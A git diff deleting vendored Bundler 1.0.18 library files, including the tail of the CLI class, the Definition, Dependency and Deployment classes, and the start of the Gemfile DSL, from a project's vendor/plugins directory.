-      # Can't use Bundler.settings for this because settings needs gemfile.dirname
-      ENV['BUNDLE_GEMFILE'] = File.expand_path(opts[:gemfile]) if opts[:gemfile]
-      ENV['RB_USER_INSTALL'] = '1' if Bundler::FREEBSD
-
-      # Just disable color in deployment mode
-      Bundler.ui.shell = Thor::Shell::Basic.new if opts[:deployment]
-
-      if (path || opts[:path] || opts[:deployment]) && opts[:system]
-        Bundler.ui.error "You have specified both a path to install your gems to, \n" \
-                         "as well as --system. Please choose."
-        exit 1
-      end
-
-      if path && opts[:path]
-        Bundler.ui.error "You have specified a path via `bundle install #{path}` as well as\n" \
-                         "by `bundle install --path #{options[:path]}`. These options are\n" \
-                         "equivalent, so please use one or the other."
-        exit 1
-      end
-
-      if opts["disable-shared-gems"]
-        Bundler.ui.error "The disable-shared-gem option is no longer available.\n\n" \
-                         "Instead, use `bundle install` to install to your system,\n" \
-                         "or `bundle install --path path/to/gems` to install to an isolated\n" \
-                         "location. Bundler will resolve relative paths relative to\n" \
-                         "your `Gemfile`."
-        exit 1
-      end
-
-      if opts[:deployment] || opts[:frozen]
-        unless Bundler.default_lockfile.exist?
-          flag = opts[:deployment] ? '--deployment' : '--frozen'
-          raise ProductionError, "The #{flag} flag requires a Gemfile.lock. Please make " \
-                                 "sure you have checked your Gemfile.lock into version control " \
-                                 "before deploying."
-        end
-
-        if Bundler.root.join("vendor/cache").exist?
-          opts[:local] = true
-        end
-
-        Bundler.settings[:frozen] = '1'
-      end
-
-      # When install is called with --no-deployment, disable deployment mode
-      if opts[:deployment] == false
-        Bundler.settings.delete(:frozen)
-        opts[:system] = true
-      end
-
-      Bundler.settings[:path] = nil if opts[:system]
-      Bundler.settings[:path] = "vendor/bundle" if opts[:deployment]
-      Bundler.settings[:path] = path if path
-      Bundler.settings[:path] = opts[:path] if opts[:path]
-      Bundler.settings[:bin] = opts["binstubs"] if opts[:binstubs]
-      Bundler.settings[:no_prune] = true if opts["no-prune"]
-      Bundler.settings[:disable_shared_gems] = Bundler.settings[:path] ? '1' : nil
-      Bundler.settings.without = opts[:without] unless opts[:without].empty?
-      Bundler.ui.be_quiet! if opts[:quiet]
-
-      Installer.install(Bundler.root, Bundler.definition, opts)
-      Bundler.load.cache if Bundler.root.join("vendor/cache").exist? && !options["no-cache"]
-
-      if Bundler.settings[:path]
-        relative_path = File.expand_path(Bundler.settings[:path]).sub(/^#{File.expand_path('.')}/, '.')
-        Bundler.ui.confirm "Your bundle is complete! " +
-          "It was installed into #{relative_path}"
-      else
-        Bundler.ui.confirm "Your bundle is complete! " +
-          "Use `bundle show [gemname]` to see where a bundled gem is installed."
-      end
-
-      if path
-        Bundler.ui.warn "The path argument to `bundle install` is deprecated. " +
-          "It will be removed in version 1.1. " +
-          "Please use `bundle install --path #{path}` instead."
-      end
-    rescue GemNotFound => e
-      if opts[:local] && Bundler.app_cache.exist?
-        Bundler.ui.warn "Some gems seem to be missing from your vendor/cache directory."
-      end
-
-      if Bundler.definition.no_sources?
-        Bundler.ui.warn "Your Gemfile doesn't have any sources. You can add one with a line like 'source :rubygems'"
-      end
-      raise e
-    end
-
-    desc "update", "update the current environment"
-    long_desc <<-D
-      Update will install the newest versions of the gems listed in the Gemfile. Use
-      update when you have changed the Gemfile, or if you want to get the newest
-      possible versions of the gems in the bundle.
-    D
-    method_option "source", :type => :array, :banner => "Update a specific source (and all gems associated with it)"
-    method_option "local", :type => :boolean, :banner =>
-      "Do not attempt to fetch gems remotely and use the gem cache instead"
-    def update(*gems)
-      sources = Array(options[:source])
-
-      if gems.empty? && sources.empty?
-        # We're doing a full update
-        Bundler.definition(true)
-      else
-        Bundler.definition(:gems => gems, :sources => sources)
-      end
-
-      opts = {"update" => true, "local" => options[:local]}
-      Installer.install Bundler.root, Bundler.definition, opts
-      Bundler.load.cache if Bundler.root.join("vendor/cache").exist?
-      Bundler.ui.confirm "Your bundle is updated! " +
-        "Use `bundle show [gemname]` to see where a bundled gem is installed."
-    end
-
-    desc "lock", "Locks the bundle to the current set of dependencies, including all child dependencies."
-    def lock
-      Bundler.ui.warn "Lock is deprecated. Your bundle is now locked whenever you run `bundle install`."
-    end
-
-    desc "unlock", "Unlock the bundle. This allows gem versions to be changed."
-    def unlock
-      Bundler.ui.warn "Unlock is deprecated. To update to newer gem versions, use `bundle update`."
-    end
-
-    desc "show [GEM]", "Shows all gems that are part of the bundle, or the path to a given gem"
-    long_desc <<-D
-      Show lists the names and versions of all gems that are required by your Gemfile.
-      Calling show with [GEM] will list the exact location of that gem on your machine.
-    D
-    def show(gem_name = nil)
-      Bundler.load.lock
-
-      if gem_name
-        Bundler.ui.info locate_gem(gem_name)
-      else
-        Bundler.ui.info "Gems included by the bundle:"
-        Bundler.load.specs.sort_by { |s| s.name }.each do |s|
-          Bundler.ui.info "  * #{s.name} (#{s.version}#{s.git_version})"
-        end
-      end
-    end
-    map %w(list) => "show"
-
-    desc "cache", "Cache all the gems to vendor/cache", :hide => true
-    method_option "no-prune",  :type => :boolean, :banner => "Don't remove stale gems from the cache."
-    def cache
-      Bundler.definition.resolve_with_cache!
-      Bundler.load.cache
-      Bundler.settings[:no_prune] = true if options["no-prune"]
-      Bundler.load.lock
-    rescue GemNotFound => e
-      Bundler.ui.error(e.message)
-      Bundler.ui.warn "Run `bundle install` to install missing gems."
-      exit 128
-    end
-
-    desc "package", "Locks and then caches all of the gems into vendor/cache"
-    method_option "no-prune",  :type => :boolean, :banner => "Don't remove stale gems from the cache."
-    long_desc <<-D
-      The package command will copy the .gem files for every gem in the bundle into the
-      directory ./vendor/cache. If you then check that directory into your source
-      control repository, others who check out your source will be able to install the
-      bundle without having to download any additional gems.
-    D
-    def package
-      install
-      # TODO: move cache contents here now that all bundles are locked
-      Bundler.load.cache
-    end
-    map %w(pack) => :package
-
-    desc "exec", "Run the command in context of the bundle"
-    long_desc <<-D
-      Exec runs a command, providing it access to the gems in the bundle. While using
-      bundle exec you can require and call the bundled gems as if they were installed
-      into the systemwide Rubygems repository.
-    D
-    def exec(*)
-      ARGV.delete("exec")
-
-      Bundler.setup
-
-      begin
-        # Run
-        Kernel.exec(*ARGV)
-      rescue Errno::EACCES
-        Bundler.ui.error "bundler: not executable: #{ARGV.first}"
-        exit 126
-      rescue Errno::ENOENT
-        Bundler.ui.error "bundler: command not found: #{ARGV.first}"
-        Bundler.ui.warn  "Install missing gem executables with `bundle install`"
-        exit 127
-      end
-    end
-
-    desc "config NAME [VALUE]", "retrieve or set a configuration value"
-    long_desc <<-D
-      Retrieves or sets a configuration value. If only parameter is provided, retrieve the value. If two parameters are provided, replace the
-      existing value with the newly provided one.
-
-      By default, setting a configuration value sets it for all projects
-      on the machine.
-
-      If a global setting is superceded by local configuration, this command
-      will show the current value, as well as any superceded values and
-      where they were specified.
-    D
-    def config(name = nil, *args)
-      values = ARGV.dup
-      values.shift # remove config
-      values.shift # remove the name
-
-      unless name
-        Bundler.ui.confirm "Settings are listed in order of priority. The top value will be used.\n"
-
-        Bundler.settings.all.each do |setting|
-          Bundler.ui.confirm "#{setting}"
-          with_padding do
-            Bundler.settings.pretty_values_for(setting).each do |line|
-              Bundler.ui.info line
-            end
-          end
-          Bundler.ui.confirm ""
-        end
-        return
-      end
-
-      if values.empty?
-        Bundler.ui.confirm "Settings for `#{name}` in order of priority. The top value will be used"
-        with_padding do
-          Bundler.settings.pretty_values_for(name).each { |line| Bundler.ui.info line }
-        end
-      else
-        locations = Bundler.settings.locations(name)
-
-        if local = locations[:local]
-          Bundler.ui.info "Your application has set #{name} to #{local.inspect}. This will override the " \
-            "system value you are currently setting"
-        end
-
-        if global = locations[:global]
-          Bundler.ui.info "You are replacing the current system value of #{name}, which is currently #{global}"
-        end
-
-        if env = locations[:env]
-          Bundler.ui.info "You have set a bundler environment variable for #{env}. This will take precedence " \
-            "over the system value you are setting"
-        end
-
-        Bundler.settings.set_global(name, values.join(" "))
-      end
-    end
-
-    desc "open GEM", "Opens the source directory of the given bundled gem"
-    def open(name)
-      editor = [ENV['BUNDLER_EDITOR'], ENV['VISUAL'], ENV['EDITOR']].find{|e| !e.nil? && !e.empty? }
-      if editor
-        gem_path = locate_gem(name)
-        Dir.chdir(gem_path) do
-          command = "#{editor} #{gem_path}"
-          success = system(command)
-          Bundler.ui.info "Could not run '#{command}'" unless success
-        end
-      else
-        Bundler.ui.info("To open a bundled gem, set $EDITOR or $BUNDLER_EDITOR")
-      end
-    end
-
-    desc "console [GROUP]", "Opens an IRB session with the bundle pre-loaded"
-    def console(group = nil)
-      group ? Bundler.require(:default, *(group.split.map! {|g| g.to_sym })) : Bundler.require
-      ARGV.clear
-
-      require 'irb'
-      IRB.start
-    end
-
-    desc "version", "Prints the bundler's version information"
-    def version
-      Bundler.ui.info "Bundler version #{Bundler::VERSION}"
-    end
-    map %w(-v --version) => :version
-
-    desc 'viz', "Generates a visual dependency graph"
-    long_desc <<-D
-      Viz generates a PNG file of the current Gemfile as a dependency graph.
-      Viz requires the ruby-graphviz gem (and its dependencies).
-      The associated gems must also be installed via 'bundle install'.
-    D
-    method_option :file, :type => :string, :default => 'gem_graph.png', :aliases => '-f', :banner => "The name to use for the generated png file."
-    method_option :version, :type => :boolean, :default => false, :aliases => '-v', :banner => "Set to show each gem version."
-    method_option :requirements, :type => :boolean, :default => false, :aliases => '-r', :banner => "Set to show the version of each required dependency."
-    def viz
-      output_file = File.expand_path(options[:file])
-      graph = Graph.new( Bundler.load )
-
-      begin
-        graph.viz(output_file, options[:version], options[:requirements])
-        Bundler.ui.info output_file
-      rescue LoadError => e
-        Bundler.ui.error e.inspect
-        Bundler.ui.warn "Make sure you have the graphviz ruby gem. You can install it with:"
-        Bundler.ui.warn "`gem install ruby-graphviz`"
-      rescue StandardError => e
-        if e.message =~ /GraphViz not installed or dot not in PATH/
-          Bundler.ui.error e.message
-          Bundler.ui.warn "The ruby graphviz gem requires GraphViz to be installed"
-        else
-          raise
-        end
-      end
-    end
-
-    desc "gem GEM", "Creates a skeleton for creating a rubygem"
-    method_option :bin, :type => :boolean, :default => false, :aliases => '-b', :banner => "Generate a binary for your library."
-    def gem(name)
-      target = File.join(Dir.pwd, name)
-      constant_name = name.split('_').map{|p| p.capitalize}.join
-      constant_name = constant_name.split('-').map{|q| q.capitalize}.join('::') if constant_name =~ /-/
-      constant_array = constant_name.split('::')
-      git_author_name = `git config user.name`.chomp
-      git_author_email = `git config user.email`.chomp
-      author_name = git_author_name.empty? ? "TODO: Write your name" : git_author_name
-      author_email = git_author_email.empty? ? "TODO: Write your email address" : git_author_email
-      FileUtils.mkdir_p(File.join(target, 'lib', name))
-      opts = {:name => name, :constant_name => constant_name, :constant_array => constant_array, :author_name => author_name, :author_email => author_email}
-      template(File.join("newgem/Gemfile.tt"),               File.join(target, "Gemfile"),                opts)
-      template(File.join("newgem/Rakefile.tt"),              File.join(target, "Rakefile"),               opts)
-      template(File.join("newgem/gitignore.tt"),             File.join(target, ".gitignore"),             opts)
-      template(File.join("newgem/newgem.gemspec.tt"),        File.join(target, "#{name}.gemspec"),        opts)
-      template(File.join("newgem/lib/newgem.rb.tt"),         File.join(target, "lib/#{name}.rb"),         opts)
-      template(File.join("newgem/lib/newgem/version.rb.tt"), File.join(target, "lib/#{name}/version.rb"), opts)
-      if options[:bin]
-        template(File.join("newgem/bin/newgem.tt"),          File.join(target, 'bin', name),              opts)
-      end
-      Bundler.ui.info "Initializating git repo in #{target}"
-      Dir.chdir(target) { `git init`; `git add .` }
-    end
-
-    def self.source_root
-      File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
-    end
-
-  private
-
-    def have_groff?
-      !(`which groff` rescue '').empty?
-    end
-
-    def locate_gem(name)
-      spec = Bundler.load.specs.find{|s| s.name == name }
-      raise GemNotFound, "Could not find gem '#{name}' in the current bundle." unless spec
-      if spec.name == 'bundler'
-        return File.expand_path('../../../', __FILE__)
-      end
-      spec.full_gem_path
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/definition.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/definition.rb
deleted file mode 100644
index 962838aa..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/definition.rb
+++ /dev/null
@@ -1,438 +0,0 @@
-require "digest/sha1"
-
-module Bundler
-  class Definition
-    include GemHelpers
-
-    attr_reader :dependencies, :platforms, :sources
-
-    def self.build(gemfile, lockfile, unlock)
-      unlock ||= {}
-      gemfile = Pathname.new(gemfile).expand_path
-
-      unless gemfile.file?
-        raise GemfileNotFound, "#{gemfile} not found"
-      end
-
-      Dsl.evaluate(gemfile, lockfile, unlock)
-    end
-
-=begin
-    How does the new system work?
-    ===
-    * Load information from Gemfile and Lockfile
-    * Invalidate stale locked specs
-      * All specs from stale source are stale
-      * All specs that are reachable only through a stale
-        dependency are stale.
-    * If all fresh dependencies are satisfied by the locked
-      specs, then we can try to resolve locally.
-=end
-
-    def initialize(lockfile, dependencies, sources, unlock)
-      @dependencies, @sources, @unlock = dependencies, sources, unlock
-      @remote            = false
-      @specs             = nil
-      @lockfile_contents = ""
-
-      if lockfile && File.exists?(lockfile)
-        @lockfile_contents = Bundler.read_file(lockfile)
-        locked = LockfileParser.new(@lockfile_contents)
-        @platforms      = locked.platforms
-
-        if unlock != true
-          @locked_deps    = locked.dependencies
-          @locked_specs   = SpecSet.new(locked.specs)
-          @locked_sources = locked.sources
-        else
-          @unlock         = {}
-          @locked_deps    = []
-          @locked_specs   = SpecSet.new([])
-          @locked_sources = []
-        end
-      else
-        @unlock         = {}
-        @platforms      = []
-        @locked_deps    = []
-        @locked_specs   = SpecSet.new([])
-        @locked_sources = []
-      end
-
-      @unlock[:gems] ||= []
-      @unlock[:sources] ||= []
-
-      current_platform = Bundler.rubygems.platforms.map { |p| generic(p) }.compact.last
-      @new_platform = !@platforms.include?(current_platform)
-      @platforms |= [current_platform]
-
-      eager_unlock = expand_dependencies(@unlock[:gems])
-      @unlock[:gems] = @locked_specs.for(eager_unlock).map { |s| s.name }
-
-      converge_sources
-      converge_dependencies
-    end
-
-    def resolve_with_cache!
-      raise "Specs already loaded" if @specs
-      @sources.each { |s| s.cached! }
-      specs
-    end
-
-    def resolve_remotely!
-      raise "Specs already loaded" if @specs
-      @remote = true
-      @sources.each { |s| s.remote! }
-      specs
-    end
-
-    def specs
-      @specs ||= begin
-        specs = resolve.materialize(requested_dependencies)
-
-        unless specs["bundler"].any?
-          local = Bundler.settings[:frozen] ? rubygems_index : index
-          bundler = local.search(Gem::Dependency.new('bundler', VERSION)).last
-          specs["bundler"] = bundler if bundler
-        end
-
-        specs
-      end
-    end
-
-    def new_specs
-      specs - @locked_specs
-    end
-
-    def removed_specs
-      @locked_specs - specs
-    end
-
-    def new_platform?
-      @new_platform
-    end
-
-    def missing_specs
-      missing = []
-      resolve.materialize(requested_dependencies, missing)
-      missing
-    end
-
-    def requested_specs
-      @requested_specs ||= begin
-        groups = self.groups - Bundler.settings.without
-        groups.map! { |g| g.to_sym }
-        specs_for(groups)
-      end
-    end
-
-    def current_dependencies
-      dependencies.reject { |d| !d.should_include? }
-    end
-
-    def specs_for(groups)
-      deps = dependencies.select { |d| (d.groups & groups).any? }
-      deps.delete_if { |d| !d.should_include? }
-      specs.for(expand_dependencies(deps))
-    end
-
-    def resolve
-      @resolve ||= begin
-        if Bundler.settings[:frozen]
-          @locked_specs
-        else
-          last_resolve = converge_locked_specs
-          source_requirements = {}
-          dependencies.each do |dep|
-            next unless dep.source
-            source_requirements[dep.name] = dep.source.specs
-          end
-
-          # Run a resolve against the locally available gems
-          last_resolve.merge Resolver.resolve(expanded_dependencies, index, source_requirements, last_resolve)
-        end
-      end
-    end
-
-    def index
-      @index ||= Index.build do |idx|
-        @sources.each do |s|
-          idx.use s.specs
-        end
-      end
-    end
-
-    def rubygems_index
-      @rubygems_index ||= Index.build do |idx|
-        @sources.find_all{|s| s.is_a?(Source::Rubygems) }.each do |s|
-          idx.use s.specs
-        end
-      end
-    end
-
-    def no_sources?
-      @sources.length == 1 && @sources.first.remotes.empty?
-    end
-
-    def groups
-      dependencies.map { |d| d.groups }.flatten.uniq
-    end
-
-    def lock(file)
-      contents = to_lock
-
-      return if @lockfile_contents == contents
-
-      if Bundler.settings[:frozen]
-        # TODO: Warn here if we got here.
-        return
-      end
-
-      # Convert to \r\n if the existing lock has them
-      # i.e., Windows with `git config core.autocrlf=true`
-      contents.gsub!(/\n/, "\r\n") if @lockfile_contents.match("\r\n")
-
-      File.open(file, 'wb'){|f| f.puts(contents) }
-    end
-
-    def to_lock
-      out = ""
-
-      sorted_sources.each do |source|
-        # Add the source header
-        out << source.to_lock
-        # Find all specs for this source
-        resolve.
-          select  { |s| s.source == source }.
-          # This needs to be sorted by full name so that
-          # gems with the same name, but different platform
-          # are ordered consistantly
-          sort_by { |s| s.full_name }.
-          each do |spec|
-            next if spec.name == 'bundler'
-            out << spec.to_lock
-        end
-        out << "\n"
-      end
-
-      out << "PLATFORMS\n"
-
-      platforms.map { |p| p.to_s }.sort.each do |p|
-        out << "  #{p}\n"
-      end
-
-      out << "\n"
-      out << "DEPENDENCIES\n"
-
-      handled = []
-      dependencies.
-        sort_by { |d| d.to_s }.
-        each do |dep|
-          next if handled.include?(dep.name)
-          out << dep.to_lock
-          handled << dep.name
-      end
-
-      out
-    end
-
-    def ensure_equivalent_gemfile_and_lockfile(explicit_flag = false)
-      changes = false
-
-      msg = "You are trying to install in deployment mode after changing\n" \
-            "your Gemfile. Run `bundle install` elsewhere and add the\n" \
-            "updated Gemfile.lock to version control."
-
-      unless explicit_flag
-        msg += "\n\nIf this is a development machine, remove the Gemfile " \
-               "freeze \nby running `bundle install --no-deployment`."
-      end
-
-      added =   []
-      deleted = []
-      changed = []
-
-      if @locked_sources != @sources
-        new_sources = @sources - @locked_sources
-        deleted_sources = @locked_sources - @sources
-
-        if new_sources.any?
-          added.concat new_sources.map { |source| "* source: #{source}" }
-        end
-
-        if deleted_sources.any?
-          deleted.concat deleted_sources.map { |source| "* source: #{source}" }
-        end
-
-        changes = true
-      end
-
-      both_sources = Hash.new { |h,k| h[k] = ["no specified source", "no specified source"] }
-      @dependencies.each { |d| both_sources[d.name][0] = d.source if d.source }
-      @locked_deps.each  { |d| both_sources[d.name][1] = d.source if d.source }
-      both_sources.delete_if { |k,v| v[0] == v[1] }
-
-      if @dependencies != @locked_deps
-        new_deps = @dependencies - @locked_deps
-        deleted_deps = @locked_deps - @dependencies
-
-        if new_deps.any?
-          added.concat new_deps.map { |d| "* #{pretty_dep(d)}" }
-        end
-
-        if deleted_deps.any?
-          deleted.concat deleted_deps.map { |d| "* #{pretty_dep(d)}" }
-        end
-
-        both_sources.each do |name, sources|
-          changed << "* #{name} from `#{sources[0]}` to `#{sources[1]}`"
-        end
-
-        changes = true
-      end
-
-      msg << "\n\nYou have added to the Gemfile:\n"     << added.join("\n") if added.any?
-      msg << "\n\nYou have deleted from the Gemfile:\n" << deleted.join("\n") if deleted.any?
-      msg << "\n\nYou have changed in the Gemfile:\n"   << changed.join("\n") if changed.any?
-      msg << "\n"
-
-      raise ProductionError, msg if added.any? || deleted.any? || changed.any?
-    end
-
-  private
-
-    def pretty_dep(dep, source = false)
-      msg  = "#{dep.name}"
-      msg << " (#{dep.requirement})" unless dep.requirement == Gem::Requirement.default
-      msg << " from the `#{dep.source}` source" if source && dep.source
-      msg
-    end
-
-    def converge_sources
-      locked_gem = @locked_sources.find { |s| Source::Rubygems === s }
-      actual_gem = @sources.find { |s| Source::Rubygems === s }
-
-      if locked_gem && actual_gem
-        locked_gem.merge_remotes actual_gem
-      end
-
-      @sources.map! do |source|
-        @locked_sources.find { |s| s == source } || source
-      end
-
-      @sources.each do |source|
-        source.unlock! if source.respond_to?(:unlock!) && @unlock[:sources].include?(source.name)
-      end
-    end
-
-    def converge_dependencies
-      (@dependencies + @locked_deps).each do |dep|
-        if dep.source
-          dep.source = @sources.find { |s| dep.source == s }
-        end
-      end
-    end
-
-    # Remove elements from the locked specs that are expired. This will most
-    # commonly happen if the Gemfile has changed since the lockfile was last
-    # generated
-    def converge_locked_specs
-      deps = []
-
-      # Build a list of dependencies that are the same in the Gemfile
-      # and Gemfile.lock. If the Gemfile modified a dependency, but
-      # the gem in the Gemfile.lock still satisfies it, this is fine
-      # too.
-      @dependencies.each do |dep|
-        locked_dep = @locked_deps.find { |d| dep == d }
-
-        if in_locked_deps?(dep, locked_dep) || satisfies_locked_spec?(dep)
-          deps << dep
-        elsif dep.source.is_a?(Source::Path) && dep.current_platform? && (!locked_dep || dep.source != locked_dep.source)
-          @locked_specs.each do |s|
-            @unlock[:gems] << s.name if s.source == dep.source
-          end
-
-          dep.source.unlock! if dep.source.respond_to?(:unlock!)
-          dep.source.specs.each { |s| @unlock[:gems] << s.name }
-        end
-      end
-
-      converged = []
-      @locked_specs.each do |s|
-        s.source = @sources.find { |src| s.source == src }
-
-        # Don't add a spec to the list if its source is expired. For example,
-        # if you change a Git gem to Rubygems.
-        next if s.source.nil? || @unlock[:sources].include?(s.name)
-        # If the spec is from a path source and it doesn't exist anymore
-        # then we just unlock it.
-
-        # Path sources have special logic
-        if s.source.instance_of?(Source::Path)
-          other = s.source.specs[s].first
-
-          # If the spec is no longer in the path source, unlock it. This
-          # commonly happens if the version changed in the gemspec
-          next unless other
-
-          deps2 = other.dependencies.select { |d| d.type != :development }
-          # If the dependencies of the path source have changed, unlock it
-          next unless s.dependencies.sort == deps2.sort
-        end
-
-        converged << s
-      end
-
-      resolve = SpecSet.new(converged)
-      resolve = resolve.for(expand_dependencies(deps, true), @unlock[:gems])
-      diff    = @locked_specs.to_a - resolve.to_a
-
-      # Now, we unlock any sources that do not have anymore gems pinned to it
-      @sources.each do |source|
-        next unless source.respond_to?(:unlock!)
-
-        unless resolve.any? { |s| s.source == source }
-          source.unlock! if !diff.empty? && diff.any? { |s| s.source == source }
-        end
-      end
-
-      resolve
-    end
-
-    def in_locked_deps?(dep, d)
-      d && dep.source == d.source
-    end
-
-    def satisfies_locked_spec?(dep)
-      @locked_specs.any? { |s| s.satisfies?(dep) && (!dep.source || s.source == dep.source) }
-    end
-
-    def expanded_dependencies
-      @expanded_dependencies ||= expand_dependencies(dependencies, @remote)
-    end
-
-    def expand_dependencies(dependencies, remote = false)
-      deps = []
-      dependencies.each do |dep|
-        dep = Dependency.new(dep, ">= 0") unless dep.respond_to?(:name)
-        dep.gem_platforms(@platforms).each do |p|
-          deps << DepProxy.new(dep, p) if remote || p == generic(Gem::Platform.local)
-        end
-      end
-      deps
-    end
-
-    def sorted_sources
-      @sources.sort_by do |s|
-        # Place GEM at the top
-        [ s.is_a?(Source::Rubygems) ? 1 : 0, s.to_s ]
-      end
-    end
-
-    def requested_dependencies
-      groups = self.groups - Bundler.settings.without
-      groups.map! { |g| g.to_sym }
-      dependencies.reject { |d| !d.should_include? || (d.groups & groups).empty? }
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dependency.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dependency.rb
deleted file mode 100644
index cb5709d1..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dependency.rb
+++ /dev/null
@@ -1,137 +0,0 @@
-require 'rubygems/dependency'
-require 'bundler/shared_helpers'
-require 'bundler/rubygems_ext'
-
-module Bundler
-  class Dependency < Gem::Dependency
-    attr_reader :autorequire
-    attr_reader :groups
-    attr_reader :platforms
-
-    PLATFORM_MAP = {
-      :ruby     => Gem::Platform::RUBY,
-      :ruby_18  => Gem::Platform::RUBY,
-      :ruby_19  => Gem::Platform::RUBY,
-      :mri      => Gem::Platform::RUBY,
-      :mri_18   => Gem::Platform::RUBY,
-      :mri_19   => Gem::Platform::RUBY,
-      :rbx      => Gem::Platform::RUBY,
-      :jruby    => Gem::Platform::JAVA,
-      :mswin    => Gem::Platform::MSWIN,
-      :mingw    => Gem::Platform::MINGW,
-      :mingw_18 => Gem::Platform::MINGW,
-      :mingw_19 => Gem::Platform::MINGW
-    }.freeze
-
-    def initialize(name, version, options = {}, &blk)
-      type = options["type"] || :runtime
-      super(name, version, type)
-
-      @autorequire = nil
-      @groups      = Array(options["group"] || :default).map { |g| g.to_sym }
-      @source      = options["source"]
-      @platforms   = Array(options["platforms"])
-      @env         = options["env"]
-
-      if options.key?('require')
-        @autorequire = Array(options['require'] || [])
-      end
-    end
-
-    def gem_platforms(valid_platforms)
-      return valid_platforms if @platforms.empty?
-
-      platforms = []
-      @platforms.each do |p|
-        platform = PLATFORM_MAP[p]
-        next unless valid_platforms.include?(platform)
-        platforms |= [platform]
-      end
-      platforms
-    end
-
-    def should_include?
-      current_env? && current_platform?
-    end
-
-    def current_env?
-      return true unless @env
-      if Hash === @env
-        @env.all? do |key, val|
-          ENV[key.to_s] && (String === val ? ENV[key.to_s] == val : ENV[key.to_s] =~ val)
-        end
-      else
-        ENV[@env.to_s]
-      end
-    end
-
-    def current_platform?
-      return true if @platforms.empty?
-      @platforms.any? { |p| send("#{p}?") }
-    end
-
-    def to_lock
-      out = "  #{name}"
-
-      unless requirement == Gem::Requirement.default
-        reqs = requirement.requirements.map{|o,v| "#{o} #{v}" }
-        out << " (#{reqs.join(', ')})"
-      end
-
-      out << '!' if source
-
-      out << "\n"
-    end
-
-  private
-
-    def ruby?
-      !mswin? && (!defined?(RUBY_ENGINE) || RUBY_ENGINE == "ruby" || RUBY_ENGINE == "rbx")
-    end
-
-    def ruby_18?
-      ruby? && RUBY_VERSION < "1.9"
-    end
-
-    def ruby_19?
-      ruby? && RUBY_VERSION >= "1.9"
-    end
-
-    def mri?
-      !mswin? && (!defined?(RUBY_ENGINE) || RUBY_ENGINE == "ruby")
-    end
-
-    def mri_18?
-      mri? && RUBY_VERSION < "1.9"
-    end
-
-    def mri_19?
-      mri? && RUBY_VERSION >= "1.9"
-    end
-
-    def rbx?
-      ruby? && defined?(RUBY_ENGINE) && RUBY_ENGINE == "rbx"
-    end
-
-    def jruby?
-      defined?(RUBY_ENGINE) && RUBY_ENGINE == "jruby"
-    end
-
-    def mswin?
-      Bundler::WINDOWS
-    end
-
-    def mingw?
-      Bundler::WINDOWS && Gem::Platform.local.os == "mingw32"
-    end
-
-    def mingw_18?
-      mingw? && RUBY_VERSION < "1.9"
-    end
-
-    def mingw_19?
-      mingw? && RUBY_VERSION >= "1.9"
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/deployment.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/deployment.rb
deleted file mode 100644
index 727f357e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/deployment.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module Bundler
-  class Deployment
-    def self.define_task(context, task_method = :task, opts = {})
-      if defined?(Capistrano) && context.is_a?(Capistrano::Configuration)
-        context_name = "capistrano"
-        role_default = "{:except => {:no_release => true}}"
-      else
-        context_name = "vlad"
-        role_default = "[:app]"
-      end
-
-      roles = context.fetch(:bundle_roles, false)
-      opts[:roles] = roles if roles
-
-      context.send :namespace, :bundle do
-        send :desc, <<-DESC
-          Install the current Bundler environment. By default, gems will be \
-          installed to the shared/bundle path. Gems in the development and \
-          test group will not be installed. The install command is executed \
-          with the --deployment and --quiet flags. If the bundle cmd cannot \
-          be found then you can override the bundle_cmd variable to specifiy \
-          which one it should use.
-
-          You can override any of these defaults by setting the variables shown below.
-
-          N.B. bundle_roles must be defined before you require 'bundler/#{context_name}' \
-          in your deploy.rb file.
-
-            set :bundle_gemfile,  "Gemfile"
-            set :bundle_dir,      File.join(fetch(:shared_path), 'bundle')
-            set :bundle_flags,    "--deployment --quiet"
-            set :bundle_without,  [:development, :test]
-            set :bundle_cmd,      "bundle" # e.g. "/opt/ruby/bin/bundle"
-            set :bundle_roles,    #{role_default} # e.g. [:app, :batch]
-        DESC
-        send task_method, :install, opts do
-          bundle_cmd     = context.fetch(:bundle_cmd, "bundle")
-          bundle_flags   = context.fetch(:bundle_flags, "--deployment --quiet")
-          bundle_dir     = context.fetch(:bundle_dir, File.join(context.fetch(:shared_path), 'bundle'))
-          bundle_gemfile = context.fetch(:bundle_gemfile, "Gemfile")
-          bundle_without = [*context.fetch(:bundle_without, [:development, :test])].compact
-
-          args = ["--gemfile #{File.join(context.fetch(:current_release), bundle_gemfile)}"]
-          args << "--path #{bundle_dir}" unless bundle_dir.to_s.empty?
-          args << bundle_flags.to_s
-          args << "--without #{bundle_without.join(" ")}" unless bundle_without.empty?
-
-          run "cd #{context.fetch(:current_release)} && #{bundle_cmd} install #{args.join(' ')}"
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dsl.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dsl.rb
deleted file mode 100644
index 2d4adaef..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/dsl.rb
+++ /dev/null
@@ -1,257 +0,0 @@
-require 'bundler/dependency'
-
-module Bundler
-  class Dsl
-    def self.evaluate(gemfile, lockfile, unlock)
-      builder = new
-      builder.instance_eval(Bundler.read_file(gemfile.to_s), gemfile.to_s, 1)
-      builder.to_definition(lockfile, unlock)
-    end
-
-    VALID_PLATFORMS = Bundler::Dependency::PLATFORM_MAP.keys.freeze
-
-    def initialize
-      @rubygems_source = Source::Rubygems.new
-      @source          = nil
-      @sources         = []
-      @dependencies    = []
-      @groups          = []
-      @platforms       = []
-      @env             = nil
-    end
-
-    def gemspec(opts = nil)
-      path              = opts && opts[:path] || '.'
